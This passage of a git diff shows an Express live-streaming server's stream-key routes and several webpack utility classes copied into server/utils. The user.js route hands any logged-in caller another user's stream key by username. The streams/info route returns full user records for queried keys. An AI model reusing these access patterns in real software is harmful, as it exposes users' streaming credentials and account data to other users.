(req, res) => {
User.findOneAndUpdate({
email: req.user.email
}, {
stream_key: shortid.generate()
}, {
upsert: true,
new: true,
}, (err, user) => {
if (!err) {
res.json({
stream_key: user.stream_key
})
}
});
});
module.exports = router;

26
server/routes/streams.js Normal file
View File

@ -0,0 +1,26 @@
const express = require('express'),
router = express.Router(),
User = require('../database/Schema').User;
router.get('/info',
require('connect-ensure-login').ensureLoggedIn(),
(req, res) => {
if(req.query.streams){
let streams = JSON.parse(req.query.streams);
let query = {$or: []};
for (let stream in streams) {
if (!streams.hasOwnProperty(stream)) continue;
query.$or.push({stream_key : stream});
}
User.find(query,(err, users) => {
if (err)
return;
if (users) {
res.json(users);
}
});
}
});
module.exports = router;

27
server/routes/user.js Normal file
View File

@ -0,0 +1,27 @@
const express = require('express'),
router = express.Router(),
User = require('../database/Schema').User;
router.get('/',
require('connect-ensure-login').ensureLoggedIn(),
(req, res) => {
if(req.query.username){
User.findOne({
username : req.query.username
},(err, user) => {
if (err)
return;
if (user) {
res.json({
stream_key : user.stream_key
});
}
});
}else{
res.json({});
}
});
module.exports = router;

0
server/sessions/.gitkeep Normal file
View File

View File

View File

@ -0,0 +1,48 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
/**
* Compare two arrays or strings by performing strict equality check for each value.
* @template T [T=any]
* @param {ArrayLike<T>} a Array of values to be compared
* @param {ArrayLike<T>} b Array of values to be compared
* @returns {boolean} returns true if all the elements of passed arrays are strictly equal.
*/
module.exports.equals = (a, b) => {
if (a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
if (a[i] !== b[i]) return false;
}
return true;
};
/**
* Partition an array by calling a predicate function on each value.
* @template T [T=any]
* @param {Array<T>} arr Array of values to be partitioned
* @param {(value: T) => boolean} fn Partition function which partitions based on truthiness of result.
* @returns {[Array<T>, Array<T>]} returns the values of `arr` partitioned into two new arrays based on fn predicate.
*/
module.exports.groupBy = (
// eslint-disable-next-line default-param-last
arr = [],
fn
) =>
arr.reduce(
/**
* @param {[Array<T>, Array<T>]} groups An accumulator storing already partitioned values returned from previous call.
* @param {T} value The value of the current element
* @returns {[Array<T>, Array<T>]} returns an array of partitioned groups accumulator resulting from calling a predicate on the current value.
*/
(groups, value) => {
groups[fn(value) ? 0 : 1].push(value);
return groups;
},
[[], []]
);

104
server/utils/ArrayQueue.js Normal file
View File

@ -0,0 +1,104 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
/**
* @template T
*/
class ArrayQueue {
/**
* @param {Iterable<T>=} items The initial elements.
*/
constructor(items) {
/**
* @private
* @type {T[]}
*/
this._list = items ? Array.from(items) : [];
/**
* @private
* @type {T[]}
*/
this._listReversed = [];
}
/**
* Returns the number of elements in this queue.
* @returns {number} The number of elements in this queue.
*/
get length() {
return this._list.length + this._listReversed.length;
}
/**
* Empties the queue.
*/
clear() {
this._list.length = 0;
this._listReversed.length = 0;
}
/**
* Appends the specified element to this queue.
* @param {T} item The element to add.
* @returns {void}
*/
enqueue(item) {
this._list.push(item);
}
/**
* Retrieves and removes the head of this queue.
* @returns {T | undefined} The head of the queue of `undefined` if this queue is empty.
*/
dequeue() {
if (this._listReversed.length === 0) {
if (this._list.length === 0) return;
if (this._list.length === 1) return this._list.pop();
if (this._list.length < 16) return this._list.shift();
const temp = this._listReversed;
this._listReversed = this._list;
this._listReversed.reverse();
this._list = temp;
}
return this._listReversed.pop();
}
/**
* Finds and removes an item
* @param {T} item the item
* @returns {void}
*/
delete(item) {
const i = this._list.indexOf(item);
if (i >= 0) {
this._list.splice(i, 1);
} else {
const i = this._listReversed.indexOf(item);
if (i >= 0) this._listReversed.splice(i, 1);
}
}
[Symbol.iterator]() {
return {
next: () => {
const item = this.dequeue();
if (item) {
return {
done: false,
value: item
};
}
return {
done: true,
value: undefined
};
}
};
}
}
module.exports = ArrayQueue;

394
server/utils/AsyncQueue.js Normal file
View File

@ -0,0 +1,394 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const { SyncHook, AsyncSeriesHook } = require("tapable");
const { makeWebpackError } = require("../HookWebpackError");
const WebpackError = require("../WebpackError");
const ArrayQueue = require("./ArrayQueue");
const QUEUED_STATE = 0;
const PROCESSING_STATE = 1;
const DONE_STATE = 2;
let inHandleResult = 0;
/**
* @template T
* @callback Callback
* @param {(WebpackError | null)=} err
* @param {(T | null)=} result
*/
/**
* @template T
* @template K
* @template R
*/
class AsyncQueueEntry {
/**
* @param {T} item the item
* @param {Callback<R>} callback the callback
*/
constructor(item, callback) {
this.item = item;
/** @type {typeof QUEUED_STATE | typeof PROCESSING_STATE | typeof DONE_STATE} */
this.state = QUEUED_STATE;
/** @type {Callback<R> | undefined} */
this.callback = callback;
/** @type {Callback<R>[] | undefined} */
this.callbacks = undefined;
/** @type {R | null | undefined} */
this.result = undefined;
/** @type {WebpackError | null | undefined} */
this.error = undefined;
}
}
/**
* @template T, K
* @typedef {function(T): K} getKey
*/
/**
* @template T, R
* @typedef {function(T, Callback<R>): void} Processor
*/
/**
* @template T
* @template K
* @template R
*/
class AsyncQueue {
/**
* @param {object} options options object
* @param {string=} options.name name of the queue
* @param {number=} options.parallelism how many items should be processed at once
* @param {AsyncQueue<any, any, any>=} options.parent parent queue, which will have priority over this queue and with shared parallelism
* @param {getKey<T, K>=} options.getKey extract key from item
* @param {Processor<T, R>} options.processor async function to process items
*/
constructor({ name, parallelism, parent, processor, getKey }) {
this._name = name;
this._parallelism = parallelism || 1;
this._processor = processor;
this._getKey =
getKey ||
/** @type {getKey<T, K>} */ (item => /** @type {T & K} */ (item));
/** @type {Map<K, AsyncQueueEntry<T, K, R>>} */
this._entries = new Map();
/** @type {ArrayQueue<AsyncQueueEntry<T, K, R>>} */
this._queued = new ArrayQueue();
/** @type {AsyncQueue<any, any, any>[] | undefined} */
this._children = undefined;
this._activeTasks = 0;
this._willEnsureProcessing = false;
this._needProcessing = false;
this._stopped = false;
/** @type {AsyncQueue<any, any, any>} */
this._root = parent ? parent._root : this;
if (parent) {
if (this._root._children === undefined) {
this._root._children = [this];
} else {
this._root._children.push(this);
}
}
this.hooks = {
/** @type {AsyncSeriesHook<[T]>} */
beforeAdd: new AsyncSeriesHook(["item"]),
/** @type {SyncHook<[T]>} */
added: new SyncHook(["item"]),
/** @type {AsyncSeriesHook<[T]>} */
beforeStart: new AsyncSeriesHook(["item"]),
/** @type {SyncHook<[T]>} */
started: new SyncHook(["item"]),
/** @type {SyncHook<[T, WebpackError | null | undefined, R | null | undefined]>} */
result: new SyncHook(["item", "error", "result"])
};
this._ensureProcessing = this._ensureProcessing.bind(this);
}
/**
* @param {T} item an item
* @param {Callback<R>} callback callback function
* @returns {void}
*/
add(item, callback) {
if (this._stopped) return callback(new WebpackError("Queue was stopped"));
this.hooks.beforeAdd.callAsync(item, err => {
if (err) {
callback(
makeWebpackError(err, `AsyncQueue(${this._name}).hooks.beforeAdd`)
);
return;
}
const key = this._getKey(item);
const entry = this._entries.get(key);
if (entry !== undefined) {
if (entry.state === DONE_STATE) {
if (inHandleResult++ > 3) {
process.nextTick(() => callback(entry.error, entry.result));
} else {
callback(entry.error, entry.result);
}
inHandleResult--;
} else if (entry.callbacks === undefined) {
entry.callbacks = [callback];
} else {
entry.callbacks.push(callback);
}
return;
}
const newEntry = new AsyncQueueEntry(item, callback);
if (this._stopped) {
this.hooks.added.call(item);
this._root._activeTasks++;
process.nextTick(() =>
this._handleResult(newEntry, new WebpackError("Queue was stopped"))
);
} else {
this._entries.set(key, newEntry);
this._queued.enqueue(newEntry);
const root = this._root;
root._needProcessing = true;
if (root._willEnsureProcessing === false) {
root._willEnsureProcessing = true;
setImmediate(root._ensureProcessing);
}
this.hooks.added.call(item);
}
});
}
/**
* @param {T} item an item
* @returns {void}
*/
invalidate(item) {
const key = this._getKey(item);
const entry =
/** @type {AsyncQueueEntry<T, K, R>} */
(this._entries.get(key));
this._entries.delete(key);
if (entry.state === QUEUED_STATE) {
this._queued.delete(entry);
}
}
/**
* Waits for an already started item
* @param {T} item an item
* @param {Callback<R>} callback callback function
* @returns {void}
*/
waitFor(item, callback) {
const key = this._getKey(item);
const entry = this._entries.get(key);
if (entry === undefined) {
return callback(
new WebpackError(
"waitFor can only be called for an already started item"
)
);
}
if (entry.state === DONE_STATE) {
process.nextTick(() => callback(entry.error, entry.result));
} else if (entry.callbacks === undefined) {
entry.callbacks = [callback];
} else {
entry.callbacks.push(callback);
}
}
/**
* @returns {void}
*/
stop() {
this._stopped = true;
const queue = this._queued;
this._queued = new ArrayQueue();
const root = this._root;
for (const entry of queue) {
this._entries.delete(
this._getKey(/** @type {AsyncQueueEntry<T, K, R>} */ (entry).item)
);
root._activeTasks++;
this._handleResult(
/** @type {AsyncQueueEntry<T, K, R>} */ (entry),
new WebpackError("Queue was stopped")
);
}
}
/**
* @returns {void}
*/
increaseParallelism() {
const root = this._root;
root._parallelism++;
/* istanbul ignore next */
if (root._willEnsureProcessing === false && root._needProcessing) {
root._willEnsureProcessing = true;
setImmediate(root._ensureProcessing);
}
}
/**
* @returns {void}
*/
decreaseParallelism() {
const root = this._root;
root._parallelism--;
}
/**
* @param {T} item an item
* @returns {boolean} true, if the item is currently being processed
*/
isProcessing(item) {
const key = this._getKey(item);
const entry = this._entries.get(key);
return entry !== undefined && entry.state === PROCESSING_STATE;
}
/**
* @param {T} item an item
* @returns {boolean} true, if the item is currently queued
*/
isQueued(item) {
const key = this._getKey(item);
const entry = this._entries.get(key);
return entry !== undefined && entry.state === QUEUED_STATE;
}
/**
* @param {T} item an item
* @returns {boolean} true, if the item is currently queued
*/
isDone(item) {
const key = this._getKey(item);
const entry = this._entries.get(key);
return entry !== undefined && entry.state === DONE_STATE;
}
/**
* @returns {void}
*/
_ensureProcessing() {
while (this._activeTasks < this._parallelism) {
const entry = this._queued.dequeue();
if (entry === undefined) break;
this._activeTasks++;
entry.state = PROCESSING_STATE;
this._startProcessing(entry);
}
this._willEnsureProcessing = false;
if (this._queued.length > 0) return;
if (this._children !== undefined) {
for (const child of this._children) {
while (this._activeTasks < this._parallelism) {
const entry = child._queued.dequeue();
if (entry === undefined) break;
this._activeTasks++;
entry.state = PROCESSING_STATE;
child._startProcessing(entry);
}
if (child._queued.length > 0) return;
}
}
if (!this._willEnsureProcessing) this._needProcessing = false;
}
/**
* @param {AsyncQueueEntry<T, K, R>} entry the entry
* @returns {void}
*/
_startProcessing(entry) {
this.hooks.beforeStart.callAsync(entry.item, err => {
if (err) {
this._handleResult(
entry,
makeWebpackError(err, `AsyncQueue(${this._name}).hooks.beforeStart`)
);
return;
}
let inCallback = false;
try {
this._processor(entry.item, (e, r) => {
inCallback = true;
this._handleResult(entry, e, r);
});
} catch (err) {
if (inCallback) throw err;
this._handleResult(entry, /** @type {WebpackError} */ (err), null);
}
this.hooks.started.call(entry.item);
});
}
/**
* @param {AsyncQueueEntry<T, K, R>} entry the entry
* @param {(WebpackError | null)=} err error, if any
* @param {(R | null)=} result result, if any
* @returns {void}
*/
_handleResult(entry, err, result) {
this.hooks.result.callAsync(entry.item, err, result, hookError => {
const error = hookError
? makeWebpackError(hookError, `AsyncQueue(${this._name}).hooks.result`)
: err;
const callback = /** @type {Callback<R>} */ (entry.callback);
const callbacks = entry.callbacks;
entry.state = DONE_STATE;
entry.callback = undefined;
entry.callbacks = undefined;
entry.result = result;
entry.error = error;
const root = this._root;
root._activeTasks--;
if (root._willEnsureProcessing === false && root._needProcessing) {
root._willEnsureProcessing = true;
setImmediate(root._ensureProcessing);
}
if (inHandleResult++ > 3) {
process.nextTick(() => {
callback(error, result);
if (callbacks !== undefined) {
for (const callback of callbacks) {
callback(error, result);
}
}
});
} else {
callback(error, result);
if (callbacks !== undefined) {
for (const callback of callbacks) {
callback(error, result);
}
}
}
inHandleResult--;
});
}
clear() {
this._entries.clear();
this._queued.clear();
this._activeTasks = 0;
this._willEnsureProcessing = false;
this._needProcessing = false;
this._stopped = false;
}
}
module.exports = AsyncQueue;

View File

@ -0,0 +1,45 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
/**
* @template T
* @param {Iterable<T>} set a set
* @returns {T | undefined} last item
*/
const last = set => {
let last;
for (const item of set) last = item;
return last;
};
/**
* @template T
* @param {Iterable<T>} iterable iterable
* @param {function(T): boolean} filter predicate
* @returns {boolean} true, if some items match the filter predicate
*/
const someInIterable = (iterable, filter) => {
for (const item of iterable) {
if (filter(item)) return true;
}
return false;
};
/**
* @template T
* @param {Iterable<T>} iterable an iterable
* @returns {number} count of items
*/
const countIterable = iterable => {
let i = 0;
for (const _ of iterable) i++;
return i;
};
module.exports.last = last;
module.exports.someInIterable = someInIterable;
module.exports.countIterable = countIterable;

View File

@ -0,0 +1,252 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const { first } = require("./SetHelpers");
const SortableSet = require("./SortableSet");
/**
* @template T
* @typedef {LazyBucketSortedSet<T, any> | SortableSet<T>} Entry
*/
/**
* @template T
* @typedef {(function(T): any) | (function(any, any): number)} Arg
*/
/**
* Multi layer bucket sorted set:
* Supports adding non-existing items (DO NOT ADD ITEM TWICE),
* Supports removing exiting items (DO NOT REMOVE ITEM NOT IN SET),
* Supports popping the first items according to defined order,
* Supports iterating all items without order,
* Supports updating an item in an efficient way,
* Supports size property, which is the number of items,
* Items are lazy partially sorted when needed
* @template T
* @template K
*/
class LazyBucketSortedSet {
/**
* @param {function(T): K} getKey function to get key from item
* @param {function(K, K): number} comparator comparator to sort keys
* @param {...Arg<T>} args more pairs of getKey and comparator plus optional final comparator for the last layer
*/
constructor(getKey, comparator, ...args) {
this._getKey = getKey;
/** @type {Arg<T>[]} */
this._innerArgs = args;
this._leaf = args.length <= 1;
this._keys = new SortableSet(undefined, comparator);
/** @type {Map<K, Entry<T>>} */
this._map = new Map();
this._unsortedItems = new Set();
this.size = 0;
}
/**
* @param {T} item an item
* @returns {void}
*/
add(item) {
this.size++;
this._unsortedItems.add(item);
}
/**
* @param {K} key key of item
* @param {T} item the item
* @returns {void}
*/
_addInternal(key, item) {
let entry = this._map.get(key);
if (entry === undefined) {
entry =
/** @type {Entry<T>} */
(
this._leaf
? new SortableSet(undefined, this._innerArgs[0])
: new /** @type {TODO} */ (LazyBucketSortedSet)(...this._innerArgs)
);
this._keys.add(key);
this._map.set(key, entry);
}
/** @type {Entry<T>} */
(entry).add(item);
}
/**
* @param {T} item an item
* @returns {void}
*/
delete(item) {
this.size--;
if (this._unsortedItems.has(item)) {
this._unsortedItems.delete(item);
return;
}
const key = this._getKey(item);
const entry = /** @type {Entry<T>} */ (this._map.get(key));
entry.delete(item);
if (entry.size === 0) {
this._deleteKey(key);
}
}
/**
* @param {K} key key to be removed
* @returns {void}
*/
_deleteKey(key) {
this._keys.delete(key);
this._map.delete(key);
}
/**
* @returns {T | undefined} an item
*/
popFirst() {
if (this.size === 0) return;
this.size--;
if (this._unsortedItems.size > 0) {
for (const item of this._unsortedItems) {
const key = this._getKey(item);
this._addInternal(key, item);
}
this._unsortedItems.clear();
}
this._keys.sort();
const key = /** @type {K} */ (first(this._keys));
const entry = this._map.get(key);
if (this._leaf) {
const leafEntry = /** @type {SortableSet<T>} */ (entry);
leafEntry.sort();
const item = /** @type {T} */ (first(leafEntry));
leafEntry.delete(item);
if (leafEntry.size === 0) {
this._deleteKey(key);
}
return item;
}
const nodeEntry = /** @type {LazyBucketSortedSet<T, any>} */ (entry);
const item = nodeEntry.popFirst();
if (nodeEntry.size === 0) {
this._deleteKey(key);
}
return item;
}
/**
* @param {T} item to be updated item
* @returns {function(true=): void} finish update
*/
startUpdate(item) {
if (this._unsortedItems.has(item)) {
return remove => {
if (remove) {
this._unsortedItems.delete(item);
this.size--;
}
};
}
const key = this._getKey(item);
if (this._leaf) {
const oldEntry = /** @type {SortableSet<T>} */ (this._map.get(key));
return remove => {
if (remove) {
this.size--;
oldEntry.delete(item);
if (oldEntry.size === 0) {
this._deleteKey(key);
}
return;
}
const newKey = this._getKey(item);
if (key === newKey) {
// This flags the sortable set as unordered
oldEntry.add(item);
} else {
oldEntry.delete(item);
if (oldEntry.size === 0) {
this._deleteKey(key);
}
this._addInternal(newKey, item);
}
};
}
const oldEntry = /** @type {LazyBucketSortedSet<T, any>} */ (
this._map.get(key)
);
const finishUpdate = oldEntry.startUpdate(item);
return remove => {
if (remove) {
this.size--;
finishUpdate(true);
if (oldEntry.size === 0) {
this._deleteKey(key);
}
return;
}
const newKey = this._getKey(item);
if (key === newKey) {
finishUpdate();
} else {
finishUpdate(true);
if (oldEntry.size === 0) {
this._deleteKey(key);
}
this._addInternal(newKey, item);
}
};
}
/**
* @param {Iterator<T>[]} iterators list of iterators to append to
* @returns {void}
*/
_appendIterators(iterators) {
if (this._unsortedItems.size > 0)
iterators.push(this._unsortedItems[Symbol.iterator]());
for (const key of this._keys) {
const entry = this._map.get(key);
if (this._leaf) {
const leafEntry = /** @type {SortableSet<T>} */ (entry);
const iterator = leafEntry[Symbol.iterator]();
iterators.push(iterator);
} else {
const nodeEntry = /** @type {LazyBucketSortedSet<T, any>} */ (entry);
nodeEntry._appendIterators(iterators);
}
}
}
/**
* @returns {Iterator<T>} the iterator
*/
[Symbol.iterator]() {
/** @type {Iterator<T>[]} */
const iterators = [];
this._appendIterators(iterators);
iterators.reverse();
let currentIterator =
/** @type {Iterator<T>} */
(iterators.pop());
return {
next: () => {
const res = currentIterator.next();
if (res.done) {
if (iterators.length === 0) return res;
currentIterator = /** @type {Iterator<T>} */ (iterators.pop());
return currentIterator.next();
}
return res;
}
};
}
}
module.exports = LazyBucketSortedSet;

217
server/utils/LazySet.js Normal file
View File

@ -0,0 +1,217 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const makeSerializable = require("./makeSerializable.js");
/**
* @template T
* @param {Set<T>} targetSet set where items should be added
* @param {Set<Iterable<T>>} toMerge iterables to be merged
* @returns {void}
*/
const merge = (targetSet, toMerge) => {
for (const set of toMerge) {
for (const item of set) {
targetSet.add(item);
}
}
};
/**
* @template T
* @param {Set<Iterable<T>>} targetSet set where iterables should be added
* @param {Array<LazySet<T>>} toDeepMerge lazy sets to be flattened
* @returns {void}
*/
const flatten = (targetSet, toDeepMerge) => {
for (const set of toDeepMerge) {
if (set._set.size > 0) targetSet.add(set._set);
if (set._needMerge) {
for (const mergedSet of set._toMerge) {
targetSet.add(mergedSet);
}
flatten(targetSet, set._toDeepMerge);
}
}
};
/**
* Like Set but with an addAll method to eventually add items from another iterable.
* Access methods make sure that all delayed operations are executed.
* Iteration methods deopts to normal Set performance until clear is called again (because of the chance of modifications during iteration).
* @template T
*/
class LazySet {
/**
* @param {Iterable<T>=} iterable init iterable
*/
constructor(iterable) {
/** @type {Set<T>} */
this._set = new Set(iterable);
/** @type {Set<Iterable<T>>} */
this._toMerge = new Set();
/** @type {Array<LazySet<T>>} */
this._toDeepMerge = [];
this._needMerge = false;
this._deopt = false;
}
_flatten() {
flatten(this._toMerge, this._toDeepMerge);
this._toDeepMerge.length = 0;
}
_merge() {
this._flatten();
merge(this._set, this._toMerge);
this._toMerge.clear();
this._needMerge = false;
}
_isEmpty() {
return (
this._set.size === 0 &&
this._toMerge.size === 0 &&
this._toDeepMerge.length === 0
);
}
get size() {
if (this._needMerge) this._merge();
return this._set.size;
}
/**
* @param {T} item an item
* @returns {LazySet<T>} itself
*/
add(item) {
this._set.add(item);
return this;
}
/**
* @param {Iterable<T> | LazySet<T>} iterable a immutable iterable or another immutable LazySet which will eventually be merged into the Set
* @returns {LazySet<T>} itself
*/
addAll(iterable) {
if (this._deopt) {
const _set = this._set;
for (const item of iterable) {
_set.add(item);
}
} else {
if (iterable instanceof LazySet) {
if (iterable._isEmpty()) return this;
this._toDeepMerge.push(iterable);
this._needMerge = true;
if (this._toDeepMerge.length > 100000) {
this._flatten();
}
} else {
this._toMerge.add(iterable);
this._needMerge = true;
}
if (this._toMerge.size > 100000) this._merge();
}
return this;
}
clear() {
this._set.clear();
this._toMerge.clear();
this._toDeepMerge.length = 0;
this._needMerge = false;
this._deopt = false;
}
/**
* @param {T} value an item
* @returns {boolean} true, if the value was in the Set before
*/
delete(value) {
if (this._needMerge) this._merge();
return this._set.delete(value);
}
entries() {
this._deopt = true;
if (this._needMerge) this._merge();
return this._set.entries();
}
/**
* @param {function(T, T, Set<T>): void} callbackFn function called for each entry
* @param {any} thisArg this argument for the callbackFn
* @returns {void}
*/
forEach(callbackFn, thisArg) {
this._deopt = true;
if (this._needMerge) this._merge();
// eslint-disable-next-line unicorn/no-array-for-each
this._set.forEach(callbackFn, thisArg);
}
/**
* @param {T} item an item
* @returns {boolean} true, when the item is in the Set
*/
has(item) {
if (this._needMerge) this._merge();
return this._set.has(item);
}
keys() {
this._deopt = true;
if (this._needMerge) this._merge();
return this._set.keys();
}
values() {
this._deopt = true;
if (this._needMerge) this._merge();
return this._set.values();
}
[Symbol.iterator]() {
this._deopt = true;
if (this._needMerge) this._merge();
return this._set[Symbol.iterator]();
}
/* istanbul ignore next */
get [Symbol.toStringTag]() {
return "LazySet";
}
/**
* @param {import("../serialization/ObjectMiddleware").ObjectSerializerContext} context context
*/
serialize({ write }) {
if (this._needMerge) this._merge();
write(this._set.size);
for (const item of this._set) write(item);
}
/**
* @template T
* @param {import("../serialization/ObjectMiddleware").ObjectDeserializerContext} context context
* @returns {LazySet<T>} lazy set
*/
static deserialize({ read }) {
const count = read();
const items = [];
for (let i = 0; i < count; i++) {
items.push(read());
}
return new LazySet(items);
}
}
makeSerializable(LazySet, "webpack/lib/util/LazySet");
module.exports = LazySet;

View File

@ -0,0 +1,34 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
/**
* getOrInsert is a helper function for maps that allows you to get a value
* from a map if it exists, or insert a new value if it doesn't. If it value doesn't
* exist, it will be computed by the provided function.
* @template K
* @template V
* @param {Map<K, V>} map The map object to check
* @param {K} key The key to check
* @param {function(): V} computer function which will compute the value if it doesn't exist
* @returns {V} The value from the map, or the computed value
* @example
* ```js
* const map = new Map();
* const value = getOrInsert(map, "key", () => "value");
* console.log(value); // "value"
* ```
*/
module.exports.getOrInsert = (map, key, computer) => {
// Grab key from map
const value = map.get(key);
// If the value already exists, return it
if (value !== undefined) return value;
// Otherwise compute the value, set it in the map, and return it
const newValue = computer();
map.set(key, newValue);
return newValue;
};

View File

@ -0,0 +1,69 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const binarySearchBounds = require("./binarySearchBounds");
/** @typedef {function(number): void} Callback */
class ParallelismFactorCalculator {
constructor() {
/** @type {number[]} */
this._rangePoints = [];
/** @type {Callback[]} */
this._rangeCallbacks = [];
}
/**
* @param {number} start range start
* @param {number} end range end
* @param {Callback} callback callback
* @returns {void}
*/
range(start, end, callback) {
if (start === end) return callback(1);
this._rangePoints.push(start);
this._rangePoints.push(end);
this._rangeCallbacks.push(callback);
}
calculate() {
const segments = Array.from(new Set(this._rangePoints)).sort((a, b) =>
a < b ? -1 : 1
);
const parallelism = segments.map(() => 0);
const rangeStartIndices = [];
for (let i = 0; i < this._rangePoints.length; i += 2) {
const start = this._rangePoints[i];
const end = this._rangePoints[i + 1];
let idx = binarySearchBounds.eq(segments, start);
rangeStartIndices.push(idx);
do {
parallelism[idx]++;
idx++;
} while (segments[idx] < end);
}
for (let i = 0; i < this._rangeCallbacks.length; i++) {
const start = this._rangePoints[i * 2];
const end = this._rangePoints[i * 2 + 1];
let idx = rangeStartIndices[i];
let sum = 0;
let totalDuration = 0;
let current = start;
do {
const p = parallelism[idx];
idx++;
const duration = segments[idx] - current;
totalDuration += duration;
current = segments[idx];
sum += p * duration;
} while (current < end);
this._rangeCallbacks[i](sum / totalDuration);
}
}
}
module.exports = ParallelismFactorCalculator;

57
server/utils/Queue.js Normal file
View File

@ -0,0 +1,57 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
/**
* @template T
*/
class Queue {
/**
* @param {Iterable<T>=} items The initial elements.
*/
constructor(items) {
/**
* @private
* @type {Set<T>}
*/
this._set = new Set(items);
/**
* @private
* @type {Iterator<T>}
*/
this._iterator = this._set[Symbol.iterator]();
}
/**
* Returns the number of elements in this queue.
* @returns {number} The number of elements in this queue.
*/
get length() {
return this._set.size;
}
/**
* Appends the specified element to this queue.
* @param {T} item The element to add.
* @returns {void}
*/
enqueue(item) {
this._set.add(item);
}
/**
* Retrieves and removes the head of this queue.
* @returns {T | undefined} The head of the queue of `undefined` if this queue is empty.
*/
dequeue() {
const result = this._iterator.next();
if (result.done) return;
this._set.delete(result.value);
return result.value;
}
}
module.exports = Queue;

51
server/utils/Semaphore.js Normal file
View File

@ -0,0 +1,51 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
class Semaphore {
/**
* Creates an instance of Semaphore.
* @param {number} available the amount available number of "tasks"
* in the Semaphore
*/
constructor(available) {
this.available = available;
/** @type {(function(): void)[]} */
this.waiters = [];
/** @private */
this._continue = this._continue.bind(this);
}
/**
* @param {function(): void} callback function block to capture and run
* @returns {void}
*/
acquire(callback) {
if (this.available > 0) {
this.available--;
callback();
} else {
this.waiters.push(callback);
}
}
release() {
this.available++;
if (this.waiters.length > 0) {
process.nextTick(this._continue);
}
}
_continue() {
if (this.available > 0 && this.waiters.length > 0) {
this.available--;
const callback = /** @type {(function(): void)} */ (this.waiters.pop());
callback();
}
}
}
module.exports = Semaphore;

View File

@ -0,0 +1,94 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
/**
* intersect creates Set containing the intersection of elements between all sets
* @template T
* @param {Set<T>[]} sets an array of sets being checked for shared elements
* @returns {Set<T>} returns a new Set containing the intersecting items
*/
const intersect = sets => {
if (sets.length === 0) return new Set();
if (sets.length === 1) return new Set(sets[0]);
let minSize = Infinity;
let minIndex = -1;
for (let i = 0; i < sets.length; i++) {
const size = sets[i].size;
if (size < minSize) {
minIndex = i;
minSize = size;
}
}
const current = new Set(sets[minIndex]);
for (let i = 0; i < sets.length; i++) {
if (i === minIndex) continue;
const set = sets[i];
for (const item of current) {
if (!set.has(item)) {
current.delete(item);
}
}
}
return current;
};
/**
* Checks if a set is the subset of another set
* @template T
* @param {Set<T>} bigSet a Set which contains the original elements to compare against
* @param {Set<T>} smallSet the set whose elements might be contained inside of bigSet
* @returns {boolean} returns true if smallSet contains all elements inside of the bigSet
*/
const isSubset = (bigSet, smallSet) => {
if (bigSet.size < smallSet.size) return false;
for (const item of smallSet) {
if (!bigSet.has(item)) return false;
}
return true;
};
/**
* @template T
* @param {Set<T>} set a set
* @param {function(T): boolean} fn selector function
* @returns {T | undefined} found item
*/
const find = (set, fn) => {
for (const item of set) {
if (fn(item)) return item;
}
};
/**
* @template T
* @param {Set<T>} set a set
* @returns {T | undefined} first item
*/
const first = set => {
const entry = set.values().next();
return entry.done ? undefined : entry.value;
};
/**
* @template T
* @param {Set<T>} a first
* @param {Set<T>} b second
* @returns {Set<T>} combined set, may be identical to a or b
*/
const combine = (a, b) => {
if (b.size === 0) return a;
if (a.size === 0) return b;
const set = new Set(a);
for (const item of b) set.add(item);
return set;
};
module.exports.intersect = intersect;
module.exports.isSubset = isSubset;
module.exports.find = find;
module.exports.first = first;
module.exports.combine = combine;

173
server/utils/SortableSet.js Normal file
View File

@ -0,0 +1,173 @@
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const NONE = Symbol("not sorted");
/**
* A subset of Set that offers sorting functionality
* @template T item type in set
* @extends {Set<T>}
*/
class SortableSet extends Set {
/**
* Create a new sortable set
* @template T
* @param {Iterable<T>=} initialIterable The initial iterable value
* @typedef {function(T, T): number} SortFunction
* @param {SortFunction<T>=} defaultSort Default sorting function
*/
constructor(initialIterable, defaultSort) {
super(initialIterable);
/**
* @private
* @type {undefined | SortFunction<T>}
*/
this._sortFn = defaultSort;
/**
* @private
* @type {typeof NONE | undefined | function(T, T): number}}
*/
this._lastActiveSortFn = NONE;
/**
* @private
* @type {Map<Function, any> | undefined}
*/
this._cache = undefined;
/**
* @private
* @type {Map<Function, any> | undefined}
*/
this._cacheOrderIndependent = undefined;
}
/**
* @param {T} value value to add to set
* @returns {this} returns itself
*/
add(value) {
this._lastActiveSortFn = NONE;
this._invalidateCache();
this._invalidateOrderedCache();
super.add(value);
return this;
}
/**
* @param {T} value value to delete
* @returns {boolean} true if value existed in set, false otherwise
*/
delete(value) {
this._invalidateCache();
this._invalidateOrderedCache();
return super.delete(value);
}
/**
* @returns {void}
*/
clear() {
this._invalidateCache();
this._invalidateOrderedCache();
return super.clear();
}
/**
* Sort with a comparer function
* @param {SortFunction<T> | undefined} sortFn Sorting comparer function
* @returns {void}
*/
sortWith(sortFn) {
if (this.size <= 1 || sortFn === this._lastActiveSortFn) {
// already sorted - nothing to do
return;
}
const sortedArray = Array.from(this).sort(sortFn);
super.clear();
for (let i = 0; i < sortedArray.length; i += 1) {
super.add(sortedArray[i]);
}
this._lastActiveSortFn = sortFn;
this._invalidateCache();
}
sort() {
this.sortWith(this._sortFn);
return this;
}
/**
* Get data from cache
* @template R
* @param {function(SortableSet<T>): R} fn function to calculate value
* @returns {R} returns result of fn(this), cached until set changes
*/
getFromCache(fn) {
if (this._cache === undefined) {
this._cache = new Map();
} else {
